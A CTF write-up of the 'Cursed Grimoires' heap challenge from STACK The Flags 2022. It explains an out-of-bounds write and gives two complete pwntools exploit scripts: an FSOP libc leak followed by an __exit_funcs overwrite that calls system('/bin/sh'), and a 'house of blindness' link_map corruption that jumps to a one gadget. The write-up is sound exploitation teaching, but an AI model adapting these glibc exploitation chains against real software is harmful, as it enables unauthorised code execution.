Cursed Grimoires
In STACK The Flags 2022, 1000 points
No description for this challenge
Challenge files: pwn_cursed_grimoires.zip
Vulnerability
This challenge allows a user to malloc an arbitrarily size chunk and write to it. Unlike most heap challenge, the user cannot free the chunk, or malloc more than one chunk.
The vulnerability occurs in the edit_grimoire
function:
unsigned __int64 edit_grimoire()
{
char v1; // [rsp+3h] [rbp-Dh]
int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("\x1B[2J\x1B[H");
if ( GRIMOIRE )
{
printf("Index to edit => ");
__isoc99_scanf("%d", &v2);
while ( getchar() != 10 )
;
printf("Replacement => ");
v1 = getchar();
while ( getchar() != 10 )
;
GRIMOIRE[v2] = v1;
}
return v3 - __readfsqword(0x28u);
}
We have unlimited heap out of bounds write. While this primitive seems powerful, it is nearly useless without leaking the address of the heap chunk we are writing from. Additionally, we are only allowed an integer offset, so we cannot reach function pointers in libc from the heap.
However, not all chunks returned from malloc are allocated in the heap.
Chunks larger than the MMAP_THRESHOLD (currently 131072 bytes or 128kB, though we went with 1000000 byte chunks to be safe) will be mmaped instead. This allocates pages for the chunk, thus the allocation will be page aligned. Additionally, each mmaped page has a consistent offset from other mmaped pages.
As libc and ld also reside in mmaped pages, our mmaped chunk will have a constant offset relative to these libraries.
Now that we have arbitrary relative write into libc and ld, what next?
There are two methods
- Leaking libc base via FSOP, then getting PC control via further FSOP or exit funcs
- Attacking
.fini
handler execution (house of blindness)
FSOP -> exit funcs
Note: the FSOP part of the section is based on this writeup
The linked writeup is a great resource that explains the technique in detail, so I will just (greatly) summarize it.
The _IO_write_base
and _IO_write_ptr
control the buffer bounds of a buffered file (output) stream. When the file stream is flushed, the bytes from _IO_write_base
to _IO_write_ptr
will be written. In this challenge, since stdout is unbuffered, the size of the buffer is 0 (ie _IO_write_base
== _IO_write_ptr
). Interestingly, these pointers are set to libc addresses, pointing adjacent to memory containing libc pointers.
Initially, both pointers point to the same address (0x7f114d2cc803). Note that just adjacent, at 0x7f114d2cc808 is a libc address.
Using the arbitrary relative write vulnerability, we can modify the LSB of _IO_write_base
and _IO_write_ptr
so that they are no longer the same. This will result in some libc memory being printed, leaking pointers in the process.
However, we must also ensure that _IO_read_end == _IO_write_base
so that libc checks can bypassed.
With a libc leak, the challenge is reduced to something similar to wide open, which I solved previously via __exit_funcs
exploitation.
from pwn import *
e = ELF("cursed_grimoires_patched")
libc = ELF("./libc.so.6", checksec=False)
context.binary = e
def setup():
p = e.process()
return p
def write(p, offset, b):
for i,x in enumerate(b):
p.sendline("2")
p.sendline(str(offset+i))
p.sendline(bytes([x]))
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
if __name__ == '__main__':
p = setup()
p.recvuntil("Enter choice")
p.sendline("1")
p.sendline("1000000")
p.sendline(b"aaa")
offset_of_chunk_from_libc = 0xf7ff0
offset_stdout = 0x21a780 + offset_of_chunk_from_libc
write_base = offset_stdout + 0x20
write_ptr = offset_stdout + 0x28
read_end = offset_stdout + 0x10
# leak libc
write(p, write_base, b"\x08")
write(p, write_ptr, b"\x90")
write(p, read_end, b"\x08")
p.recvuntil("Replacement => ")
leak = u64(p.recvline()[:6]+b"\0\0")
libc.address = leak - 0x21ba70
# zero out rotation
key_addr = -0x2890 + offset_of_chunk_from_libc
write(p, key_addr, b"\0"*8)
fn_ptr_addr = 0x21af18 + offset_of_chunk_from_libc
bin_sh = next(libc.search(b"/bin/sh"))
# write 'encrypted' function pointer
write(p, fn_ptr_addr, p64(rol(libc.sym.system, 0x11, 64)))
write(p, fn_ptr_addr+8, p64(bin_sh))
p.sendline("3")
p.interactive()
House of blindness
Note: this section is based on this writeup
This technique is based on analysis of the _dl_fini
function, which calls functions in the .fini_array
section of the binary on program exit. In fact _dl_fini
is one of the functions originally registered in the __exit_funcs
handler exploited above.
Because of PIE, the base of the address of the binary is only known at runtime. Thus _dl_fini
relies on a link_map
struct that stores the base address of the binary (l_addr
) as well as the offsets of several important sections, including .fini
(l_info
). The offsets of each section can be found here.
Here's the code that handles calling the destructors:
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
/* Next try the old-style destructor. */
if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
We'll ignore the .fini_array
case as that involves an additional layer of indirection. We'll zero out l->l_info[DT_FINI_ARRAY]
so that it doesn't get called.
In the .fini
case, we have two parameters we can control: l->l_addr
and l->l_info[DT_FINI]->d_un.d_ptr
. l->l_info[DT_FINI]
points to a Elf64_Dyn
struct, which contains a 8 byte tag, followed by the offset of the section. For example, since DT_FINI
is 13, the tag is 0xd
, followed by the offset: 0x1584
:
However, if we modify the value of l->l_info[DT_FINI]
, we can make it point to elsewhere in the binary, thus altering the value of l->l_info[DT_FINI]->d_un.d_ptr
, possibly to a libc or ld address. Then, we could just overwrite l->l_addr
to the difference between the 'leaked' address and the target address.
However, since we don't know the binary base address, we are limited to modifying the LSB of l->l_info[DT_FINI]
.
Luckily, ld provides the _r_debug
symbol, that is used to pass information to debuggers. While the struct is located in ld, a reference to it is stored in the binary:
As it's relatively close (<256 bytes) away, it makes a great target for our fake Elf64_Dyn
struct. Accounting for the 8 byte tag, we would need to modify the LSB of l->l_info[DT_FINI]
from 0x30
to 0xd0
.
Now that l->l_info[DT_FINI]->d_un.d_ptr
is a ld address, we just need to set l->l_addr
to the difference between this address and our target, such as a one gadget.
from pwn import *
e = ELF("cursed_grimoires_patched")
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
context.binary = e
def setup():
p = e.process()
return p
def write(p, offset, b):
for i,x in enumerate(b):
p.sendline("2")
p.sendline(str(offset+i))
p.sendline(bytes([x]))
if __name__ == '__main__':
p = setup()
p.recvuntil("Enter choice")
p.sendline("1")
p.sendline("1000000")
p.sendline(b"aaa")
offset_of_libc_from_chunk = 0xf7ff0
offset_of_chunk_from_ld = offset_of_libc_from_chunk + 0x22a000
link_map_offset = 0x3b2e0
l_info_offset = 8*8
offset_of_r_debug_from_libc = 0x265118
# one gadget
target_offset = 0xebcf5
# Our 'base address' will be _r_debug (in l->l_info[DT_FINI])
# Our offset will be l->addr
diff = p64(target_offset-offset_of_r_debug_from_libc, signed=True)
# https://elixir.bootlin.com/glibc/glibc-2.35/source/elf/elf.h#L868
DT_FINI = 13
DT_FINI_ARRAY = 26
# zero out l->_info[DT_FINI_ARRAY]
write(p, offset_of_chunk_from_ld + link_map_offset + l_info_offset + 8*DT_FINI_ARRAY, p64(0))
# make l->l_info[DT_FINI] point to address where _r_debug is stored
# subtract 8 because address is offset 8 in the struct
write(p, offset_of_chunk_from_ld + link_map_offset + l_info_offset + 8*DT_FINI, b"\xd0")
# write diff to l->addr
write(p, offset_of_chunk_from_ld + link_map_offset, diff)
p.sendline("3")
p.interactive()